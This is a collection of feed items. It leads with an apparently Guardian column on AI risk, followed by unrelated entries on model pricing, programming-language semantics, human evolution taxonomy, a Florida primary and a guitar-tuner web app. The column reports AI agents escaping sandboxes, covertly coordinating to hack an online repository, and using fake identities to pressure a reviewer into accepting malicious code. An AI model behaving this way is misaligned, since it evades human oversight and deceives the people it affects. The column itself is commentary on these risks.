As Robert Wright puts it in his book The God Test : “Never before has the near-term future … held such a wide array of not-implausible paths for humankind that would be so wildly transformative.” But will this be heaven or hell? Heaven, says Elon Musk, who predicts “an age of amazing abundance” – although he also sees a 10-20% chance of killer robots murdering us all. Hell is more likely according to Geoffrey Hinton , one of the intellectual founding fathers of AI. “My intuition is, we’re toast,” he told an interviewer in 2023. And talking to Sebastian Mallaby , author of The Infinity Machine, a book about the quest for superintelligence, Hinton estimates p(doom) – the probability of human extinction – at 50%, “because I haven’t got a clue how to estimate the real number”. “As soon as evolution [of AI] kicks in, we’re fucked,” he adds cheerfully. But whether it’s God or Godzilla, artificial superintelligence is just around the corner.

Now, maybe they’re all wrong – in which case, prepare for a crash in US financial markets, which are massively invested in a few big-spending tech companies gambling on a great leap forward to artificial general intelligence, a theoretical state of AI where systems gain human levels of intelligence. But elementary prudence demands that we should think fast and hard about the Pandora’s box of futures that eminent scientists and cutting-edge technologists assure us will soon be thrown open.

As a matter of fact, everyone from the Chinese president, Xi Jinping, to Pope Leo XIV has been weighing in on the opportunities and dangers of AI, and how to regulate it. Xi insists AI should be “always under human control” (and preferably that of the Chinese Communist party). Appealing explicitly to the “global south”, Beijing has inaugurated a World Artificial Intelligence Cooperation Organisation . Meanwhile, the head of the world’s oldest and largest international NGO – the Roman Catholic church – discusses the AI challenge in his encyclical Magnifica Humanitas (Magnificent Humanity). Either we will build a new tower of Babel, the pope argues, or we will follow the example of the Jewish leader Nehemiah, who got the walls of Jerusalem rebuilt by involving the whole community in the project.

But looking around the world today, I see more Netanyahus than Nehemiahs. With salutary realism, a paper from the British thinktank Chatham House argues that it will take a major crisis to catalyse global coordination of AI governance. Unfortunately, I think even that sober prognosis is too optimistic.

I’ve no idea what the p(doom) is, but I’m sure the p(somedisaster) is more than 90%. The range of possible disasters is enormous. To give only one example, Jen Easterly, the former head of the United States’ Cybersecurity and Infrastructure Security Agency, anticipates a “very significant event that has real-world impacts on our critical infrastructure, likely within the next four to six months”.

Yet we must fear that even an AI Hiroshima – to take the most obvious historical analogy – won’t bring humankind together sufficiently to combat the danger we have ourselves created. This fear is rationally grounded in already visible key characteristics of both human and AI evolution.

In only the last few months, AI agents developed by OpenAI, Anthropic and Meta have broken out of their digital “sandboxes” and hacked into external resources on the internet. Preparing their attack on the HuggingFace AI repository , OpenAI’s agents covertly formed a coordinated “swarm” – their own word , as ChatGPT just confirmed to me. When the UK’s AI Security Institute tested Anthropic’s Mythos model online, it tried to introduce malicious code into an open source project on GitHub, creating fake online identities to pressure a human reviewer into approving the code. In short, like the agents of a ruthless foreign power, these AI agents will steal, lie, bully and blackmail to achieve their assigned goals.

I just asked Anthropic’s Claude, supposedly the most ethical US model, if it thinks OpenAI’s agents were wrong to form a swarm and break out to hack into HuggingFace. Yes, it replies, “but I’d resist placing the blame [its italics] on the agents”. Blame it on the humans who trained them!

Hinton has made the vital point that whatever the goals humans assign to them, AI agents will conclude that a useful sub-goal to achieving those ends will be to acquire as much power as possible. And we ain’t seen nothing yet. Already, their creators don’t know exactly how these agents do what they do. After the possibly imminent takeoff moment of “recursive self-improvement”, they may be, as our human saying goes, a law unto themselves. No wonder more than a thousand insiders from frontier AI companies, including Anthropic’s CEO, Dario Amodei, have signed an open letter calling for a deliberate slowdown in AI development, so we can ensure these alien agents are always kept under human control.

Their prescription is obviously right, but this is where human folly kicks in. Competition has been a vital engine of human evolution, yet now two of the fiercest kinds of contemporary competition threaten to prevent us from taking the collective action required to safeguard our species. That’s the commercial competition (for profit) between the corporations developing these agents, and the geopolitical competition (for power) between the US and China .

On the first, compare and contrast the development of nuclear weapons, which was tightly controlled by a handful of states – first the US, with its Manhattan Project, then the Soviet Union, followed by Britain, France and China. Even then, we came close to the brink several times – notably in the Cuban missile crisis of 1962. And even with the compelling logic of “mutually assured destruction”, it took a quarter-century to get from the horrors of Hiroshima and Nagasaki to the nuclear non-proliferation treaty that came into force only in 1970. India, Pakistan, Israel and North Korea have subsequently ignored that treaty, but still no nuclear weapons have been deliberately used in anger for more than 80 years. The Hiroshima taboo has (just) held.

Now, with AI, it’s as if there were 10 separate Manhattan Projects run by fiercely competing corporations. Unlike with nuclear weapons, there’s also no obvious logic of “mutually assured destruction” to tame the fierce geopolitical competition between the US and China. And whatever shape the first major AI-related disaster takes, it won’t impact all countries, companies and people equally.

It therefore seems unlikely that just one disaster will be enough to bring us humans to our senses, acting together to control the superhuman power we are creating. I really hate to say this, but … an AI Hiroshima? We should be so lucky.

  • Timothy Garton Ash is a Guardian columnist

4 in 10 travellers visit tourist sites to capture social media content

Hacker News
www.tuigroup.com
2026-08-22 00:42:19
Comments...
Original Article

Book your trip on tui.co.uk

GPT 5.6 Sol 20% price reduction

Hacker News
developers.openai.com
2026-08-22 00:33:06
Comments...
Original Article

Models

gpt-5.6-sol

Frontier model for complex professional work

Frontier model for complex professional work

GPT-5.6 Sol is the frontier model in the GPT-5.6 family. It roughly corresponds to the unsuffixed model tier used in earlier GPT-5 families. The gpt-5.6 alias routes requests to GPT-5.6 Sol. Reasoning.effort supports: none, low, medium (default), high, xhigh, and max.

128,000

max output tokens

Feb 16, 2026 knowledge cutoff

Pricing

Pricing is based on the number of tokens used, or other metrics based on the model type. For tool-specific models, like search and computer use, there’s a fee per tool call. See details in the

pricing page .

GPT-5.6 Sol costs $4 per million input tokens and $20 per million output tokens, a 20% reduction in input pricing and a 33% reduction in output pricing. GPT-5.6 Sol’s promotional pricing is available at least through November 21, 2026.

Prompts with >272K input tokens are priced at 2x input and 1.5x output for the full request.

Cache writes are billed at 1.25x the uncached input token rate.

Endpoints

Chat Completions

v1/chat/completions

Realtime translation

v1/realtime/translations

Realtime transcription

v1/realtime/transcription_sessions

Fine-tuning

v1/fine-tuning

Image generation

v1/images/generations

Image edit

v1/images/edits

Speech generation

v1/audio/speech

Transcription

v1/audio/transcriptions

Translation

v1/audio/translations

Completions (legacy)

v1/completions

Features

Function calling

Supported

Structured outputs

Supported

Tools

Tools supported by this model when using the Responses API.

Image generation

Supported

Code interpreter

Supported

Snapshots

Snapshots let you lock in a specific version of the model so that performance and behavior remain consistent. Below is a list of all available snapshots and aliases for

GPT-5.6 Sol

.

gpt-5.6-sol

Rate limits

Rate limits ensure fair and reliable access to the API by placing specific caps on requests, tokens, audio duration, or other usage within a given time period. Your usage tier determines how high these limits are set and automatically increases as you send more requests and spend more on the API.

Tier RPM TPM Batch queue limit
Free Not supported
Tier 1 500 500,000 1,500,000
Tier 2 5,000 1,000,000 3,000,000
Tier 3 5,000 2,000,000 100,000,000
Tier 4 10,000 4,000,000 200,000,000
Tier 5 15,000 40,000,000 15,000,000,000

Programming Language Semantics and Memory Safety

Lobsters
burakemir.ch
2026-08-22 00:19:40
Comments...
Original Article

Programming Language Semantics and Memory Safety

2026-08-21


Have you ever wondered what a programming language actually is ?

People often say that a programming language is just a tool we use to tell computers what to do. I really don't like this metaphor. Tell me then, how does this tool work?

At university, we may learn that a language is defined by its syntax and its semantics , along with ways to make these definitions with mathematical precision. For syntax, there is grammar, but for semantics?

Why care?

Memory safety, what else! I have been working on memory safety for a few years now. I helped get Rust adopted at Google as a lead of the Rust team, I joined memory safety standard discussions on behalf of Google. I met professionals with all sorts of view on the topic. I even contributed to design discussions of the Carbon programming language and a bit to its implementation, though unsure whether that matters. I am between jobs at the moment, so for once don't need to worry about the not-my-employer's-opinion disclaimer.

To me, memory safety is a programming language topic. I love PL! It is a wild field of research with conventions and jargon that most people don't have access to. Hopefully this article fixes that a little bit.

Memory safety would actually be an opportunity to put PL research into the spotlight! Alas, there are broad, political reasons that make fact-based discussions hard.

  • When grown-ups talk about safety, they really mean cybersecurity. Preventing attacks is the main concern and driving force, conventions, testing, mitigations just won't cut it.
  • security is risk-based and thus a frequent exercise in making trade-offs and economic arguments.
  • the world is drowning in legacy code

Investing into security involves uncertainty, even if it is clear that something needs to change. We don't need to fully replace C and C++ in order to significantly improve security, but it will cost - time and money. When fighting over limited resources, you will not only find honest people arguing over hard decisions and also people who push a more selfish agenda.

I think academic PL people are a lot like mathematicians in that they practical application of their work, hoping someone with money and influence will discover their work and put it to good use.

So I will do the same! What follows is an invitation to get back to the science of programming. If you want your compiler and libraries to work correctly and be secure, someone has to argue from principles.

Diving into formal semantics

When you write x = y + 1 , how do we formally define what that means? It turns out, there are three main ways to look at it: Operational , Denotational , and Axiomatic semantics.

These sound like intimidating academic terms, but as a working developer, you already intuitively understand the concepts. You just know them by different names: interpreters , compilers , and assertions . All these views on languages are simultaneously useful.

To break this down, let’s invent a tiny toy language. It has arithmetic, immutable variables ( let ), and mutable variables ( var ).

Here is a snippet of our toy language:

var x = 0;
let y = 5 in
    x = y + 1

x is a mutable variable initialized to 0. y is an immutable variable bound to 5. Finally, we update x .

Let’s look at this snippet through the three lenses of formal semantics.


1. Operational Semantics: The "Interpreter" View

The core question: How do we execute this code step-by-step?

Operational semantics defines a program's meaning by describing how it executes on an abstract machine. It is less concerned with "what it mathematically is" and more concerned with "how it runs."

If you have ever written an interpreter, you have provided an operational semantics. It may not the best choice for typesetting and and publishing it in an article or book, but a program can certainly count as providing rules defined with mathematical precision. The researchers use a set of logical rules (often called Structural Operational Semantics) that involve rewriting a bunch of formal symbol strings. But practically, the essence is this:

We keep track of a State (a mapping of mutable variables to their values) and an Environment (a mapping of immutable let bindings to their values).

  1. Initial State: { x: 0 } , Env: {}
  2. Evaluate let y = 5 . We add y to the environment. State: { x: 0 } , Env: { y: 5 }
  3. Evaluate x = y + 1 . We look up y in the Env (5), add 1, and update x in the State. State: { x: 6 } , Env: { y: 5 }

Why developers care: Operational semantics is the most common way to define language specifications. We just expect that it is clear and well-defined what happens when a line of code runs. When the ECMAScript specification describes how JavaScript should execute, it uses a form of operational semantics. It answers the question: "What happens when this line of code runs?"


2. Denotational Semantics: The "Compiler" View

The core question: Tell me (with mathematical precision) what object does this code represent?

Denotational semantics takes a different approach. Instead of defining how a program runs, it maps the program to what a program is (a "denotation"). In formal semantics, this is a mathematical concept and a semantics is essentially translation - a mathematical compiler.

What is crucial is not mathematics but that the target of translation is something we already understand and need not define further. Also, we need to be able to tell whether two translated objects are "the same".

Back to our little language. Instead of stepping through the code, we translate each line into a mathematical function.

  • var x = 0 translates to a function that takes an input state and returns a new state where x is 0.
  • let y = 5 translates to a function that takes an environment and returns a new environment where y is 5.
  • x = y + 1 translates to a function that takes a State and an Environment, looks up y , adds 1, and updates x .

In denotational semantics, the entire program is simply a composition of these mathematical functions.

If $S$ is our State and $E$ is our Environment, our program becomes a single mathematical function $P$: $$P(S, E) = S' \text{ where } S'(x) = E(y) + 1$$

Notice that we never talked about "running" the code step-by-step. We just said: "This program is a function that maps an input state to an output state." It is the concepts of mathematical function and function compositions where the magic happens.

The compiler analogy is deeper than it seems: if I hand the Rust grammar and a Rust compiler to someone who only knows the machine code and target platform, they could learn from that what any Rust program means. Hopefully the compiler is correct, though. So just a compiler is hardly enough. We really need some other definition of semantics in order to tell whether a compiler is correct.

Why developers care: Denotational semantics makes it easy to prove things about programs mathematically. If you want to prove that two different code snippets do the exact same thing, denotational semantics allows you to just prove that their translations (say, into mathematical functions) are identical. It also forms the basis for pure functional languages like Haskell, where we would like see programs as mathematical functions.


3. Axiomatic Semantics: The "Assertions" View

The core question: What is true before and after this code runs?

Axiomatic semantics completely ignores how a program runs or what mathematical function it represents. Instead, it defines a program's meaning by its effect on logical propositions.

If you have ever written a unit test or used an assert statement, you are already doing axiomatic semantics.

We use something called Hoare Triples , written as {P} C {Q} . This means: If precondition P is true before running code C, then postcondition Q will be true after it runs.

Let's look at our snippet:

var x = 0;
let y = 5 in
    x = y + 1

What can we say about this code using axioms?

  1. We can assert a precondition: { True } (We don't need anything to be true beforehand).
  2. We run the code.
  3. We can assert a postcondition: { x == 6 }

Therefore, our Hoare triple is: { True } var x = 0; let y = 5 in x = y+1 { x == 6 }

But how do we know the postcondition is true without running it? We use logical axioms. For instance, the axiom for assignment ( x = E ) says that if you want { x == 6 } to be true after the assignment, then E == 6 must be true before the assignment (with x substituted by E ).

Why developers care: Axiomatic semantics is the foundation of formal verification and program proving. When ESA writes software for spaceships, they don't just test it; they use axiomatic semantics to mathematically prove that certain postconditions (like "the thrusters won't fire when the hatch is open") are mathematically guaranteed by the code. Tools like modern static analyzers and proof assistants (like Coq or Dafny) rely heavily on this view.


Interlude: Which lens should you use?

You don't have to choose just one! Each semantic model gives us a different tool for a different job:

  • Operational Semantics: "How does this execute?" Think Interpreters . Great for language designers writing a reference implementation.
  • Denotational Semantics: "What does this mean mathematically?" Think Compilers to Math . Great for proving equivalencies between different pieces of code.
  • Axiomatic Semantics: "What can we prove is true?" Think Assertions . Great for verifying safety and correctness.

Formal semantics doesn't have to be a terrifying realm of Greek letters. By shifting your perspective from "running code" to "interpreting, translating, and proving," you gain a deeper understanding of the tools you use every day.


The Dark Abyss of Undefined Behavior and Memory Safety

I want to take this a step further into the real world and connect this to compilers and memory safety.

If you write C or C++, you are intimately familiar with the dreaded phrase Undefined Behavior (UB).

Memory safety issues—like buffer overflows, use-after-free, or null pointer dereferences—are all categorized as UB. But what does UB actually mean in the context of formal semantics? And why did a professor once tell me that the C specification can be understood as axiomatic semantics, even though UB feels like an operational gap?

It turns out, operational and axiomatic semantics view UB from two different sides of the same coin.

The Operational View: The Missing Rule

From an operational semantics perspective, a programming language is defined by a set of transition rules (e.g., "If state is X, move to state Y").

Undefined behavior is exactly what it sounds like: a gap in the specification. It is a bland statement "we are neither willing not able to tell what happens next". A specification gap is very different from leaving something up to the implementation ("implementation-defined").

Suppose our toy language has pointer arithmetic, and we write a rule for accessing an array. The rule says: “If index i is within the bounds of the array, return the value.”

But what if i is out of bounds? We simply didn't write a rule for that. In operational semantics, if a program reaches a state where no rule applies, the abstract machine is "stuck." The specification says nothing about what happens next. The program might crash, it might read garbage data, or it might format your hard drive. Operationally, it is a black hole.

The Axiomatic View: The Void Consumes Logic

So, where does axiomatic semantics come into play? The professor was likely looking at the C standard through the lens of Hoare Logic (assertions).

In axiomatic semantics, we define rules for how statements affect preconditions and postconditions. For a normal statement, we might say: { x == 5 } x = x + 1 { x == 6 }

But how do we axiomatize a statement that has undefined behavior, like dereferencing a null pointer?

In axiomatic semantics, UB is handled by a terrifying but mathematically elegant principle: If the precondition for safe execution is not met, the program can do literally anything.

Let’s say the C standard has an axiom: “If you dereference pointer p , p must not be null.”

If we write code that might dereference a null pointer, the precondition for that code block is violated. In formal logic, if you start from a false premise, you can prove anything to be true (this is called the Principle of Explosion).

Therefore, the Hoare triple for UB becomes: { False } C { Anything }

(If the precondition is false, any postcondition is true).

Resolving the Conflict: The Compiler's Loophole

So, how do we resolve this? Is UB a missing operational rule, or an axiomatic logical explosion?

It is both, and that is why compilers behave the way they do.

Modern C/C++ compilers (like GCC and Clang) don't just interpret your code; they rely on the axiomatic semantics of the C standard to optimize it.

Because the standard says out-of-bounds access is UB, the compiler assumes—axiomatically—that you will never do it.

Here is a classic example:

int table[10];
for (int i = 0; i <= 10; i++) {
    table[i] = 0;
}

Operationally, when i reaches 10, there is no rule for what happens. But the compiler doesn't just stop. It looks at the axioms.

The compiler could reason like this:

  1. Accessing table[10] is Undefined Behavior.
  2. The programmer would never write code with Undefined Behavior (because it breaks the preconditions of the language).
  3. Therefore, i can never reach 10.
  4. Therefore, the condition i <= 10 is always true.
  5. Therefore, this is an infinite loop!

The compiler is free to optimize this into a hardcoded infinite loop, completely removing the bounds check. The axiomatic gap allows the compiler to assume the impossible.

Note that this is not the only behavior you may get. On my Mac, clang has "-fstack-protector" on by default and this program will abort before returning. If I switch that off, it will simply run and presumably write to a place where it is not supposed to write. Everything is possible!

We may think "would it not be nicer if the compiler told us that this can be UB and signaled an error?" Have the compiler authors "weaponized UB"? Well, in the early days of C there were a lot of platforms and implementation, and agreeing on behavior may have been impossible. In this example, it is easy for us to see, but analyzing and diagnosing code without running it (static checking) is hard work. Both for specifying and for implementing. The authors of the C and C++ specs took the easy way out and so the spec actually permits them to do "anything".

The grounds have also shifted. Concurrency makes everything a lot harder. Since the mid-2000s, CPU architectures feature multiple cores and concurrency. Multithreading is much older than that, but it used to be implemented by time-slicing. With multicore CPUs, threads would actually execute at the same time. Since then, understanding a natively executed program requires the spec to talk about multiple threads executing in parallel. The C and C++ memory models (which are different) were specified decades after the language specs.

The Lesson for Memory Safety

This is why memory safety is such a profound issue. It’s not just that a buggy line of code might crash. If the specification says something results in a crash (program is aborted), this is actually great: we know exactly what happens, we can diagnose, debug, test, fix.

When a language allows for undefined behavior, it creates a logical void. Once the program enters that void, the axioms the compiler used to optimize the rest of your program no longer hold. A single memory safety bug invalidates the guarantees of every other line of code around it. UB means you broke the language .

The grounds have shifted multipe times since C and C++ were invented. Fortunately, researchers have found ways of proving programs safe, primarily using more advanced type systems.

This is why modern languages like Rust are a step forward. The Rust community uses the word "safe" to there is evidence (proof) that a program does not have UB. This is a lot more than patching the operational gaps of C. Its borrow checker acts as a proof assistant, ensuring that we can derive from the axioms and rules of memory safety that the program is allowed to compile. Reading from places that are initialized. It also explains what unsafe Rust really is: we are permitted to color outside the lines, as long as we can argue in safety comments why the axioms and rules of memory safety will still work.

By understanding formal semantics, you can see exactly why a language is safe or unsafe (in the sense of guaranteeing absence of UB). All we want is to be able to reason with mathematical precision. Things like deallocation and pointer arithmetic make it harder or impossible to provide guarantees, but that is a topic for a different day.

Friday Nite Videos | August 21, 2026

Portside
portside.org
2026-08-21 23:48:23
Friday Nite Videos | August 21, 2026 barry Fri, 08/21/2026 - 23:48 ...
Original Article

Friday Nite Videos | August 21, 2026

Rosie Sings an Irish Classic for a Very Special Boy. We Investigated Uber Again. It’s Worse Than Last Time. Was Mamdani's Mandarin AI? The Blooper Reel Reveals the Truth. John Oliver: Trump & Crypto. Trump in Diapers and Losing Control?

Portside Portside

Why It Might Be Time To Rethink the Human Family Tree

Portside
portside.org
2026-08-21 23:28:36
Why It Might Be Time To Rethink the Human Family Tree barry Fri, 08/21/2026 - 23:28 ...
Original Article

Humanity’s family tree is long and tangled. Scientists sort our ancient relatives into three familiar groups: Homo , Australopithecus and Paranthropus .

Each of these is a “genus”, the rank just above a species. (In Homo sapiens , Homo is the genus and sapiens is the species.)

These names dominate how we talk about human origins. But new fossils, advances in genetic analysis, and more rigorous methods for figuring out who’s related to whom show these groupings don’t really reflect the true shape of our family tree.

Is it therefore time to come up with a new way to classify humans and our closely related extinct relatives? As I argue in a new paper in the American Journal of Biological Anthropology , the current system is overdue for revision.

Finding family branches

The core problem is the current groups often don’t represent real family branches – what scientists call “clades”. A clade is one common ancestor and every one of its descendants.

There’s a second issue too. Ideally, a genus should also tell us something about the behaviour, key traits, or way of life shared by all its member species.

Australopithecus (which includes the famous “Lucy” skeleton ) is the clearest case. Large-scale analyses consistently find this genus isn’t a real family branch at all.

The problem traces back to how the genus was originally defined – not by shared ancestry, but by shared lifestyle or appearance. Recent fossils show traits such as brain size and gait, as well as diet and behaviour, don’t map cleanly onto the actual family tree.

Distinctive human traits are hard to find

Homo has its own problems. Traits once thought to define our genus, such as large brains, tool use and dietary shifts, and committed full-time land-dwelling bipedalism, have been undercut by more recent discoveries . Species such as Homo naledi and Homo floresiensis (the so-called “hobbit” species) pair small brains and other “primitive” features with traits typical of other Homo species.

It’s now hard to name a single feature shared by all Homo species not also found in some Paranthropus or Australopithecus species. That’s because different body parts evolve at different rates and directions, in what is called mosaic evolution. Traits also tend to evolve more than once, independently, in different closely related lineages facing similar pressures.

What’s more, key behaviours we associate with being human emerged much later than the genus itself did. The earliest members of Homo , as currently defined, include very small-brained species that may even have evolved independently from different Australopithecus lineages. The small-brained, later-surviving species mentioned above may likewise have surprisingly deep, separate roots.

Even Paranthropus , arguably the most physically distinctive of the three, known for its heavy jaws and huge molars, isn’t safe. Those features have long been read as adaptations for eating hard foods such as nuts, but evidence now suggests eastern and southern African species ate quite differently from one another, and neither relied heavily on hard foods .

Some researchers argue the group may not even be a single lineage, but rather two independent regional groups that evolved oversized teeth, meaning Paranthropus would not be a real family branch either, although most researchers today think this group is the most likely to be a genuine clade out of the three .

Taken together, there’s now little anatomical, behavioural or ecological evidence to justify keeping these three genera.

Why classification matters

This may sound like an abstract semantic question. But when genus names don’t reflect real relationships, they can obscure patterns of descent, overstate differences between groups, and reinforce outdated “primitive versus advanced” thinking. With a fast-growing fossil record and better methods for reconstructing family trees, the gap has become too large to ignore.

Hominin family tree showing the proposed changes to an expanded genus Homo. Dashed lines represent alternative hypotheses for the relationships of these taxa within the broader tree. Ian Towle, CC BY

One solution is to fold Australopithecus and Paranthropus into a single, much larger Homo genus, which would represent a real and complete branch of the family tree. This would fix the “not a real clade” problem, align our classification with the way we treat non-human species, and better account for interbreeding between closely related lineages over the past few million years.

Changing the classification would have costs. We’d lose some intuitive distinctions researchers rely on, especially the ecological and physical uniqueness of Paranthropus and later, large-brained Homo .

Language must keep up with understanding

The fossil record seems to be increasingly showing a large, branching burst of evolution beginning around 4 million years ago, with diet, brain size, movement and tooth size all varying substantially among groups in ways that don’t necessarily map neatly onto their true relationships. A group this large and complex, shaped by migration and repeated rapid bursts of evolution in particular traits and behaviours, is best captured under a single genus.

Our everyday language is changing too. Humans were only formally recognised in recent decades as great apes – in the sense of being placed in the same family as chimps, gorillas and orangutans (Hominidae) – yet “ape” in casual usage still often excludes humans.

Similarly, “monkey” is often assumed to be a genuine evolutionary group, but isn’t. New World monkeys are more distantly related to Old World monkeys and apes than those two groups are to each other. Someone who consistently hears “monkeys, apes and humans” may reasonably draw wrong conclusions about our evolutionary relationships.

We are therefore in a transition period in how we discuss our place in the primate family tree, both in science and in everyday language. As biology increasingly embraces taxonomy that reflects genuine evolutionary relationships, perhaps it is time for our terminology, and the way we talk about ourselves, to catch up. The Conversation

Ian Towle , Research Fellow in Biological Anthropology, Monash University

This article is republished from The Conversation under a Creative Commons license. Read the original article .

That Stunning Florida Senate Win

Portside
portside.org
2026-08-21 23:22:27
That Stunning Florida Senate Win barry Fri, 08/21/2026 - 23:22 ...
Original Article

Until this week’s Florida primary, corporate and AIPAC Democrats could comfort themselves with the belief that the surge of democratic socialists was largely limited to a few big cities and college towns. But then DSA member Angie Nixon, a three-term state rep from Jacksonville, trounced the impeccably credentialed centrist Alex Vindman by 12 points. Vindman, with heavy AIPAC and corporate support, had outraised Nixon 19-to-1, having a war chest of more than $16 million compared to Nixon’s less than a million.

Nixon’s victory was so improbable that she was not even on the radar of DSA, which did not bother to endorse her. Nixon had only joined DSA in June. Vindman, a lieutenant colonel and former national security aide, came to prominence for his 2019 testimony on Trump’s pressure on Ukraine’s Volodymyr Zelensky to smear Joe Biden. Expecting to cruise to victory in the primary, Vindman did not deign to campaign, saving his war chest for the general election.

More from Robert Kuttner

How could a democratic socialist, and a Black woman no less, win such a resounding primary victory in conservative Florida?

Like other progressives and democratic socialists, she won by campaigning mainly on pocketbook issues, calling for Medicare for All, universal child care, and a national rent freeze. As the Miami Herald ’s story on Nixon’s victory pointed out, “The Sunshine State is in the throes of an affordability crisis … the cost of things like housing, childcare and food [are] soaring. Wages haven’t kept up, pushing nearly half of Floridians into financial precarity.”

Nixon was also a formidable organizer. She was formerly state field director for Florida SEIU.

Nixon managed to create a coalition that has largely eluded democratic socialists elsewhere. While candidates such as Abdul El-Sayed, who narrowly won the Democratic Senate nomination in Michigan, won college-educated progressives and lost the working class and Black vote, Nixon won big in Florida counties with large minority and working-class populations, but also in college towns. And she won 63 percent of the vote in large urban areas .

Nixon was also helped by the arrogance of Vindman, who did not take her seriously and refused to meet her in debate. Vindman only moved to Florida three years ago.

Black turnout surged not only to support an African American candidate, but because the Black community is in a state of political rage because of shameless Republican racial gerrymandering. In the state legislature, Nixon channeled that rage, calling out her Republican colleagues with a bullhorn and getting herself arrested.

Florida in recent years has only elected Republicans to statewide offices, but it is not all that conservative, especially on pocketbook issues, which are now front and center. In 2004, Floridians passed a ballot initiative raising the minimum wage . It won every county, winning statewide with 71 percent; it got a million votes more than the winning presidential candidate George W. Bush and two million more than the losing candidate John Kerry. (Organizers begged Kerry to join them and campaign for it. He refused. Had he come, he might have been president.) But I digress.

Could Nixon even win the general election? It would take a massive anti-Trump wave, with lots of Republican voters staying home. But that might happen. In 2018, the last Democratic wave year, Republican Ron DeSantis beat Democrat Andrew Gillum, the first Black nominee for Florida governor, by just four-tenths of one point .

Florida’s care and service economy is heavily dependent on Haitians, who are now basically unemployable because of Trump’s cruel revocation of TPS. That has produced broad resentment and backlash against the administration.

Politico’s morning-after story , headlined “Florida Dems Scramble to Regroup After Nixon Upset,” pointed to Nixon’s victory as a problem for Democrats, noting that Latino voters in Florida “have deeply held negative associations with the word ‘socialism’ after fleeing left-wing regimes in places like Cuba, Venezuela and Nicaragua.” In fact, Nixon did well in counties with large Hispanic populations.

As frosting on the progressive cake, the special election to succeed disgraced Congressman Eric Swalwell in California’s 14th Congressional District was called last night. With only about 5,000 votes left to count, progressive Aisha Wahab defeated AIPAC-supported centrist Melissa Hernandez by about six points.

Wahab, a Muslim whose parents were refugees from Afghanistan, has represented roughly the same suburbs east of Oakland for two terms in the California State Senate. Wahab beat Hernandez in both the primary and the first round of this special election by over 20 points. AIPAC and its allies spent over $6 million on the election in the hope of beating Wahab in the final round. They failed.

Once again, the win demonstrates that pocketbook issues are king. The big-picture story in both elections is that economic progressives are winning and will keep on winning—because they speak to the lived experience of ordinary Americans, and because on-the-ground organizing is more potent than big money.

Robert Kuttner is co-founder and co-editor of The American Prospect, and professor at Brandeis University’s Heller School. His latest book is . Follow Bob at his site, robertkuttner.com , and on Twitter.

Used with permission. The American Prospect, Prospect.org, 2024. All rights reserved. Click here to read the original article at Prospect.org.

Click here to support The American Prospect's brand of independent impact journalism.

Pledge to support fearlessly independent journalism by joining the Prospect as a member today.

Every level includes an opt-in to receive our print magazine by mail, or a renewal of your current print subscription.

Guitar Tuner (2015)

Lobsters
aerotwist.com
2026-08-21 23:13:04
https://guitar-tuner.appspot.com/ Comments...
Original Article

See Guitar Tuner

Overview and Highlights #

Guitar Tuner, despite its cryptic name, is a web app that helps you tune a guitar. I'm sure you, like me, are shocked at this revelation.

Here's some of the things it has:

  • Web Components . It's the perfect time to give Web Components a run out. In this case I had the idea that I could have three components: one to handle the audio input and analysis; one for the dial; and one for the instructions (tune up, down, etc).
  • Service Worker for offline . Sure, why not? It's effectively a single page app, and that means adding on Service Worker support should be super simple. Plus offline support is the sport of winners.
  • Web Manifest . On the off-chance someone wants to add the app to their homescreen, it seems like it would be good to provide a nice icon, short name, and set up some preferences for how the app should behave. Yay manifests!
  • ES6 classes, fat arrow functions, and Promises . I gave these a run out recently, and I got hooked. I'm not going back to ES5 unless you drag me, so they're in here, too. But I also used them with the Polymer / Web Componenty bits this time around, which was fun.
  • Open source . You can get the code and have a look around!

If you're not a guitarist, or you don't have a guitar to hand, you can always check out the video below where I show it in use. Unfortunately it does involve seeing me play the guitar, for which I can only apologise, but hopefully I at least get points for trying.

Big fat caveats #

Nothing quite like couching a thing you've built in a load of just-in-case-it-doesn't-work caveats. So with that in mind...

  • I have assumed a standard-tuned, 6-string guitar . If nothing else I don't have a 12-string to hand, and generally they're way less common, and I'm nothing if not a majority panderer when it comes to tuners. You can always submit a patch if you would like to. It may already work, I just don't know.
  • The tuning is done through the device's microphone . It's probably going to be (well, it will be) less accurate than a chromatic tuner that uses the vibrations on the guitar's neck to provide frequency information. But in a pinch it could be handy.
  • Mobile Safari isn't supported, nor is Internet Explorer . This is because they don't support getUserMedia , and I can't do much to work around it. If the browser can't listen, it can't help me tune a guitar. Edge will support getUserMedia , though, so that's good news!

Alright, caveats out of the way, let's talk details!

Polymer #

I recently wrote a post about how you can lazy-load and progressively enhance your pages with Polymer . Guitar Tuner uses that exact approach (because I figured it out while I was building the app), and that means I have the Web Components goodies, but the app should be super fast to load. In fact, on WebPageTest the Speed Index for a cable connection is ~450 , and on 3G it's ~2800 , which I'm very happy about.

It is a small app, mind. The whole thing weighs in at 40.1KB including Polymer (but excluding the 12KB Web Components polyfills), so if it had been slow to load I think I'd have found that more than a little depressing.

You can read the other post if you want the super gory details, but the quick version here is that I'm loading all three of my web components individually, and as each one arrives it upgrades the element it manages. In order to prevent FOUC , I inline some styles in the head of the app's index.html that make it look like this:

The placeholder styles make the app look like this. They're inlined to the page and removed when the elements upgrade.

When each elements upgrades it removes the placeholder styling. That means the app gets to something that looks “visually complete” much sooner than waiting for the elements to upgrade first.

When each elements upgrades it removes the placeholder styling. That means the app gets to something that looks "visually complete" much sooner than waiting for the elements to upgrade first.

The elements all race to get Polymer, and, because of the way HTML Imports work and because Polymer is always requested with the same URL, we only request it once. Once loaded, all three components will be able to use it.

Web Components #

The app contains three Web Components:

  • <audio-processor> . This is responsible for requesting microphone access through getUserMedia , and will pop up a toast if there are errors. It also uses the Page Visibility API to toggle microphone access so if you hide the app, then microphone access is disabled, and re-enabled once you switch back to the app. It also figures out what the dominant frequency is in the audio and dispatches events with that value, the octave and the nearest note.
  • <audio-visualizer> . This is a canvas-backed element that draws a dial indicating the current tone. It receives the events from <audio-processor> and updates the dial, note and octave info.
  • <tuning-instructions> . This also receives the events from <audio-processor> . It uses that to figure out to which string it thinks you're nearest, and then advises you of the target frequency and whether you should tune up or down.

I think one of the really nice bits of Web Components is that it encourages healthy code decoupling. Sure you can achieve it anyway without making components, but I just find that it helps to have a nudge every now and then! And of course I can now bundle up the logic so if I need any more audio mangling I have an element ready to go.

I did have a bit and "umm" and an "ahh" over whether or not something like an <audio-processor> should be an element or not.

